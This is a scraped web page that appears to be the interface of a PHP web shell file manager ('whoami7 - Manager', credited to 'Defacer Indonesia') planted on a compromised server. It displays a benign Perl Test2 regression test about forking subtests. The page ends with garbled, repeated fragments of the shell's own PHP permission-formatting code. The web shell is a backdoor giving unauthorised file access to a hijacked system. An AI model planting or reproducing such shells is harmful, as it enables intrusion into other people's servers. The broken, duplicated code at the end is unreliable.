Asikk-&wkwkwkwkw

whoami7 - Manager

: /proc/self/root/usr/share/doc/perl-Test-Simple/t/Test2/regression/

files >> //proc/self/root/usr/share/doc/perl-Test-Simple/t/Test2/regression/746-forking-subtest.t

 use strict;
use warnings;
use Test2::IPC;
use Test2::Tools::Tiny;
use Test2::API qw/context intercept test2_stack/;
use Test2::Util qw/CAN_FORK/;

BEGIN {
    skip_all "System cannot fork" unless CAN_FORK;
}

my $events = intercept {
    Test2::API::run_subtest("this subtest forks" => sub {
        if (fork) {
            wait;
            isnt($?, 0, "subprocess died");
        } else {
            # Prevent the exception from being rendered to STDERR, people have
            # complained about STDERR noise in tests before.
            close STDERR;
            die "# Expected warning from subtest";
        };
    }, {no_fork => 1});
};

my @subtests = grep {; $_->isa('Test2::Event::Subtest') } @$events;

if (is(@subtests, 1, "only one subtest run, effectively")) {
    my @subokay = grep {; $_->facets->{assert} }
                  @{ $subtests[0]->subevents };
    is(@subokay, 1, "we got one test result inside the subtest");
    ok(! $subokay[0]->causes_fail, "...and it passed");
} else {
  # give up, we're already clearly broken
}

done_testing;

Copyright ©2021 || Defacer Indonesia nfo .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> )); return $info; } ?> ?>